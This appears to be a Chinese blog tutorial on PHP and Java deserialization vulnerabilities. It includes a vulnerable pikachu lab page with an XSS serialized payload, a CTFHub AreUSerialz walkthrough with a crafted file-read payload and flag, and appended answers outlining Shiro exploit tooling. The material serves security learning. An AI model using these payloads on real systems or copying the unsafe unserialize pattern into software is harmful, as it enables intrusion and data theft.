web渗透-反序列化漏洞

一、简介

就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个dlass一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候php就和我们说,你可以把这个对象序列化了,存成一个字符审,当你要用的时候再放他出来就好了。在我们讲php反序列化的时候,基本都是围绕着serialize(). unserialize()这两个函数。

二、PHP序列化和反序列化

序列化

#  序列化函数:serialize()

<?php
class  Person {
  var $name="varin";
}
$user1 = new Person();
echo serialize($user1);
?>

image.png

O:对象
6:对象名称长度
Person:对象名称
1:表示有一个值
s:字符串
4:变量名长度
...

  常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

反序列化

<?php
class  Person {
  var $name="varin";
}
// 序列化
$user1 = new Person();
$user1_ser= serialize($user1);
// 反序列化
$user2 = unserialize($user1_ser);
print_r($user2);
echo "<br>";
echo $user1->name;
?>

image.png

三、JAVA序列化和反序列化

使用:

序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Test {
    public static void main(String[] args) throws IOException {

        // 序列化
        Person person = new Person("varin");
        System.out.println(person);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./varin.txt"));
        objectOutputStream.writeObject(person);
        objectOutputStream.flush();
        objectOutputStream.close();


    }
}
class Person implements Serializable{

    public Person(){

    }
    private  String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                '}';
    }
}

image.png

反序列化

技巧:若在网站上看见一段数据以r00AB开头,大概率是JAVA序列化Base64加密的数据
或者:是以aced开头,是java序列化的十六进制数据

import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./varin.txt"));
        Person o =(Person) objectInputStream.readObject();
        objectOutputStream.close();
        System.out.println(o.getName());


    }
}

image.png

扩展-java执行系统命令

import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {


        // java执行系统命令
        Process ifconfig = Runtime.getRuntime().exec("ipconfig");
        InputStream inputStream = ifconfig.getInputStream();

        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String s = null;
        while (( s = bufferedReader.readLine()) != null) {
            System.out.println(s);
        }
        bufferedReader.close();



    }
}

image.png

四、PHP反序列化漏洞重现

  • 靶场:pikachu
// 漏洞源码
/*
核心:
以POST方式接收序列化对象o,
接收后并将o对象序列化后赋值给对象$unser,页面打印对象$unser的test属性
*/

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>

# 序列化结构:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image.png

五、CTF-PHP反序列化漏洞利用

平台:https://www.ctfhub.com/
题目名称:AreUSerialz
思路:

// 弱类型对比:== (存在漏洞:“2”==“ 2” 返回true)
// 强类型对比:=== 


1 git方式提交str参数
2unserialize()函数表示需要序列化数据
3 FileHandler类三个变量,5个函数其中两个魔法函数,3个自定义函数
4 魔法函数:__construct()创建 、__destruct()销毁
5 write ()read()process()
6 因为代码中并创建对象,所以未使用__construct()函数,只执行__destruct()
7 __destruct()函数中将$content变量中的值清空了,所以write方法无效
8 利用弱类型对比漏洞,进入到read方法
9 因为代码中有文件包含:include("flag.php"),所以尝试读取,$filename=“flag.php”
10 构造序列化字符串




<?php
class FileHandler {
    protected $op=" 2";
    protected $filename="flag.php";
    protected $content="";
}
$o = new FileHandler();
echo serialize($o);
# O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

?>
# 将序列化字符赋值给str并使用get方法请求网址后,进入到网页的源代码页面

image.png

# flag
$FLAG = "ctfhub{128ad0a5b38aae3ac705237b}"

六、扩展:WebGoat靶场实战(JAVA靶场)

  • github地址:https://github.com/WebGoat/WebGoat/tags
  • 注意:jar包运行环境为:JDK17
  • 启动jar包命令:java -jar webgoat-2023.8.jar
  • 访问网址:[http://127.0.0.1:8080/WebGoat](http://127.0.0.1:8080/WebGoat)

image.png

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Shiro反序列化漏洞是近年来Java安全领域的一个重大问题,由于Apache Shiro框架的反序列化机制不够安全且攻击方式广泛,黑客可以通过此漏洞在应用程序中执行任意代码和操作,从而导致数据泄露、系统崩溃等风险。 为了解决这一问题,一些恶意黑客开发了Shiro反序列化漏洞综合利用工具,其主要作用是探测针对Shiro漏洞的攻击点,同时提供自动化攻击功能,即通过模块化的方式实现攻击流程中的各个步骤自动化工具,简化攻击者的工作。 该工具主要包括以下几个模块: 1. Payload生成模块:通过对Shiro反序列化漏洞的利用规律进行分析,在调用对象与类名之间添加有效负载数据,从而在反序列化过程中执行攻击代码。 2. 指南针获取模块:该模块主要用于获取目标应用程序中的Shiro指南针(即Shiro的运行时环境),并识别出漏洞点的位置和类型。 3. AOP织入模块:该模块主要用于AOP自动化处理,将攻击标记织入目标应用程序中的相关类或方法,实现自动化攻击。 4. 反调试模块:该模块主要用于实现对攻击过程的掩盖,尽可能避免被抓获,保证攻击效果。 总的来说,Shiro反序列化漏洞综合利用工具主要是针对Shiro反序列化漏洞的攻击模块,可以快速发现应用程序的漏洞点,同时提供一系列协作模块进行攻击,具有较高的效率和可靠性,是黑客攻击的主要工具之一,需要开发者及时做好漏洞修复和加强安全机制的措施。 ### 回答2: Shiro是一个开源的Java安全框架,提供了诸如身份验证、授权、加密解密等功能。然而,Shiro框架存在一个反序列化漏洞,攻击者可以通过该漏洞执行任意命令,进而获取服务器权限。 针对这个漏洞,黑客社区推出了多种综合利用工具,例如ysoserial、commons-collections等,这些工具利用Shiro框架中反序列化漏洞的特性,构造恶意数据包,传输至目标服务器执行任意命令。 在使用这些工具时,黑客需要进行一系列步骤。首先,需要获取Shiro框架的加密密钥,以便构造有效的恶意数据包。其次,需要利用工具生成payload,常用的情况是利用ysoserial生成Exploit序列化对象,最后发送给目标服务器触发漏洞执行恶意代码。 这些工具很容易从Github和Darkweb等地方获取,使用工具的成本很低,攻击者只需要稍微了解一些Shiro框架和Java相关知识,便可轻松进行攻击。 因此,服务端必须及时修复Shiro框架的反序列化漏洞,升级到最新版本,避免黑客通过利用漏洞入侵服务器,造成不可估量的损失。此外,数据加密、权限控制等措施也非常重要,可以防止黑客获取加密密钥,降低服务器被攻击的风险。 ### 回答3: Shiro反序列化漏洞综合利用工具是一款能够快速检测和利用Shiro框架反序列化漏洞的工具,可以自动化完成攻击流程,方便黑客进行攻击。该工具主要是基于shiro-poc脚本开发而来,可以自动化完成Shiro认证和授权的绕过,进而获取目标系统敏感信息或者直接取得系统控制权。 利用Shiro反序列化漏洞综合利用工具通常需要进行如下流程:首先,收集目标系统的相关信息,包括Shiro框架版本和应用程序暴露的Cookie等信息。其次,通过漏洞检测工具对目标系统进行漏洞扫描,确认是否存在Shiro反序列化漏洞。然后,根据目标系统的情况选择对应的攻击方式,例如通过利用恶意序列化数据绕过Shiro认证和授权机制,获取敏感信息或控制目标系统。最后,保护自己的系统,使用安全补丁或其他措施来防止Shiro反序列化漏洞被攻击者利用。 总之,Shiro反序列化漏洞综合利用工具是一个十分强大的利用工具,可以使攻击者轻松利用Shiro反序列化漏洞对目标系统进行攻击和渗透,对于防范此类攻击,我们必须做好系统漏洞修复和相关防护措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值